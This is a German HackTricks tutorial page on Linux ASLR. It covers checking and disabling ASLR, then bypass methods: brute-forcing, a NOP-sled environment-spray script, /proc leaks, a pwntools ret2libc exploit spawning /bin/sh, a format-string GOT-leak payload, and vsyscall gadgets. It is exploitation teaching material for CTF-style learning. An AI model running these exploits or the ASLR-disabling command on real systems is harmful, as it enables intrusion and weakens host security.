ASLR
Reading time: 11 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Address Space Layout Randomization (ASLR) ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die Speicheradressen zu randomisieren, die von System- und Anwendungsprozessen verwendet werden. Dadurch wird es für einen Angreifer erheblich schwieriger, den Standort bestimmter Prozesse und Daten, wie den Stack, Heap und Bibliotheken, vorherzusagen, was bestimmte Arten von Exploits, insbesondere Pufferüberläufe, abschwächt.
Überprüfung des ASLR-Status
Um den ASLR-Status auf einem Linux-System zu überprüfen, können Sie den Wert aus der /proc/sys/kernel/randomize_va_space
-Datei lesen. Der in dieser Datei gespeicherte Wert bestimmt die Art des angewendeten ASLR:
- 0: Keine Randomisierung. Alles ist statisch.
- 1: Konservative Randomisierung. Gemeinsame Bibliotheken, Stack, mmap(), VDSO-Seite sind randomisiert.
- 2: Vollständige Randomisierung. Zusätzlich zu den durch konservative Randomisierung randomisierten Elementen wird der durch
brk()
verwaltete Speicher randomisiert.
Sie können den ASLR-Status mit dem folgenden Befehl überprüfen:
cat /proc/sys/kernel/randomize_va_space
Deaktivierung von ASLR
Um ASLR zu deaktivieren, setzen Sie den Wert von /proc/sys/kernel/randomize_va_space
auf 0. Die Deaktivierung von ASLR wird außerhalb von Test- oder Debugging-Szenarien im Allgemeinen nicht empfohlen. So können Sie es deaktivieren:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Sie können ASLR auch für eine Ausführung mit deaktivieren:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Aktivierung von ASLR
Um ASLR zu aktivieren, können Sie den Wert 2 in die Datei /proc/sys/kernel/randomize_va_space
schreiben. Dies erfordert typischerweise Root-Rechte. Die vollständige Randomisierung kann mit dem folgenden Befehl durchgeführt werden:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistenz über Neustarts hinweg
Änderungen, die mit den echo
-Befehlen vorgenommen werden, sind vorübergehend und werden beim Neustart zurückgesetzt. Um die Änderung dauerhaft zu machen, müssen Sie die Datei /etc/sysctl.conf
bearbeiten und die folgende Zeile hinzufügen oder ändern:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Nach der Bearbeitung von /etc/sysctl.conf
wenden Sie die Änderungen mit an:
sudo sysctl -p
Dies stellt sicher, dass Ihre ASLR-Einstellungen über Neustarts hinweg bestehen bleiben.
Umgehungen
32-Bit-Brute-Forcing
PaX unterteilt den Adressraum des Prozesses in 3 Gruppen:
- Code und Daten (initialisiert und nicht initialisiert):
.text
,.data
und.bss
—> 16 Bits Entropie in derdelta_exec
-Variablen. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert. - Speicher, der von
mmap()
zugewiesen wird, und gemeinsame Bibliotheken —> 16 Bits, genanntdelta_mmap
. - Der Stack —> 24 Bits, bezeichnet als
delta_stack
. Es verwendet jedoch effektiv 11 Bits (vom 10. bis zum 20. Byte einschließlich), ausgerichtet auf 16 Bytes —> Dies ergibt 524.288 mögliche reale Stack-Adressen.
Die vorherigen Daten gelten für 32-Bit-Systeme, und die reduzierte endgültige Entropie ermöglicht es, ASLR durch wiederholtes Ausführen zu umgehen, bis der Exploit erfolgreich abgeschlossen ist.
Brute-Force-Ideen:
- Wenn Sie einen großen Überlauf haben, um einen großen NOP-Sled vor dem Shellcode zu hosten, könnten Sie einfach Adressen im Stack brute-forcen, bis der Fluss über einen Teil des NOP-Sled springt.
- Eine weitere Option dafür, falls der Überlauf nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist es, den NOP-Sled und den Shellcode in einer Umgebungsvariablen hinzuzufügen.
- Wenn der Exploit lokal ist, können Sie versuchen, die Basisadresse von libc brute-forcen (nützlich für 32-Bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn Sie einen Remote-Server angreifen, könnten Sie versuchen, die Adresse der
libc
-Funktionusleep
zu brute-forcen, indem Sie als Argument 10 übergeben (zum Beispiel). Wenn der Server irgendwann 10 Sekunden länger für die Antwort benötigt, haben Sie die Adresse dieser Funktion gefunden.
tip
In 64-Bit-Systemen ist die Entropie viel höher und das sollte nicht möglich sein.
64-Bit-Stack-Brute-Forcing
Es ist möglich, einen großen Teil des Stacks mit Umgebungsvariablen zu belegen und dann zu versuchen, die Binärdatei hunderte oder tausende Male lokal auszunutzen.
Der folgende Code zeigt, wie es möglich ist, einfach eine Adresse im Stack auszuwählen und bei einigen hundert Ausführungen wird diese Adresse den NOP-Befehl enthalten:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
Lokale Informationen (/proc/[pid]/stat
)
Die Datei /proc/[pid]/stat
eines Prozesses ist immer für alle lesbar und enthält interessante Informationen wie:
- startcode & endcode: Adressen oberhalb und unterhalb des TEXT der Binärdatei
- startstack: Die Adresse des Beginns des Stacks
- start_data & end_data: Adressen oberhalb und unterhalb, wo sich der BSS befindet
- kstkesp & kstkeip: Aktuelle ESP- und EIP-Adressen
- arg_start & arg_end: Adressen oberhalb und unterhalb, wo sich die CLI-Argumente befinden.
- env_start & env_end: Adressen oberhalb und unterhalb, wo sich die Umgebungsvariablen befinden.
Daher, wenn der Angreifer sich auf demselben Computer wie die auszunutzende Binärdatei befindet und diese Binärdatei nicht mit einem Überlauf von rohen Argumenten rechnet, sondern mit einem anderen Eingang, der nach dem Lesen dieser Datei erstellt werden kann. Ist es möglich für einen Angreifer, einige Adressen aus dieser Datei zu erhalten und von ihnen Offsets für den Exploit zu konstruieren.
tip
Für weitere Informationen zu dieser Datei siehe https://man7.org/linux/man-pages/man5/proc.5.html und suche nach /proc/pid/stat
Einen Leak haben
- Die Herausforderung besteht darin, einen Leak zu geben
Wenn dir ein Leak gegeben wird (einfache CTF-Herausforderungen), kannst du Offsets daraus berechnen (angenommen, du kennst zum Beispiel die genaue libc-Version, die im System verwendet wird, das du ausnutzt). Dieses Beispiel-Exploit stammt aus dem Beispiel hier (siehe diese Seite für weitere Details):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Durch den Missbrauch eines Bufferüberlaufs wäre es möglich, ein ret2plt auszunutzen, um eine Adresse einer Funktion aus der libc zu exfiltrieren. Überprüfen Sie:
- Format Strings Arbitrary Read
Genau wie bei ret2plt, wenn Sie über eine Format-Strings-Sicherheitsanfälligkeit einen beliebigen Lesezugriff haben, ist es möglich, die Adresse einer libc-Funktion aus der GOT zu exfiltrieren. Das folgende Beispiel stammt von hier:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Du kannst mehr Informationen über Format Strings und arbiträres Lesen finden in:
Ret2ret & Ret2pop
Versuche, ASLR zu umgehen, indem du Adressen im Stack ausnutzt:
vsyscall
Der vsyscall
-Mechanismus dient zur Leistungssteigerung, indem bestimmte Systemaufrufe im Benutzerspeicher ausgeführt werden, obwohl sie grundsätzlich Teil des Kernels sind. Der entscheidende Vorteil von vsyscalls liegt in ihren festen Adressen, die nicht der ASLR (Address Space Layout Randomization) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine Informationsleckanfälligkeit benötigen, um ihre Adressen zu bestimmen und sie in einem Exploit zu verwenden.
Allerdings werden hier keine besonders interessanten Gadgets gefunden (obwohl es beispielsweise möglich ist, ein ret;
-Äquivalent zu erhalten).
(Das folgende Beispiel und der Code sind aus diesem Bericht)
Ein Angreifer könnte beispielsweise die Adresse 0xffffffffff600800
innerhalb eines Exploits verwenden. Während der Versuch, direkt zu einer ret
-Anweisung zu springen, nach der Ausführung einiger Gadgets zu Instabilität oder Abstürzen führen kann, kann das Springen zum Anfang eines syscall
, das von der vsyscall-Sektion bereitgestellt wird, erfolgreich sein. Durch das sorgfältige Platzieren eines ROP-Gadgets, das die Ausführung zu dieser vsyscall-Adresse führt, kann ein Angreifer die Codeausführung erreichen, ohne ASLR für diesen Teil des Exploits umgehen zu müssen.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Beachten Sie daher, wie es möglich sein könnte, ASLR durch Ausnutzung des vdso zu umgehen, wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird. Für weitere Informationen siehe:
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.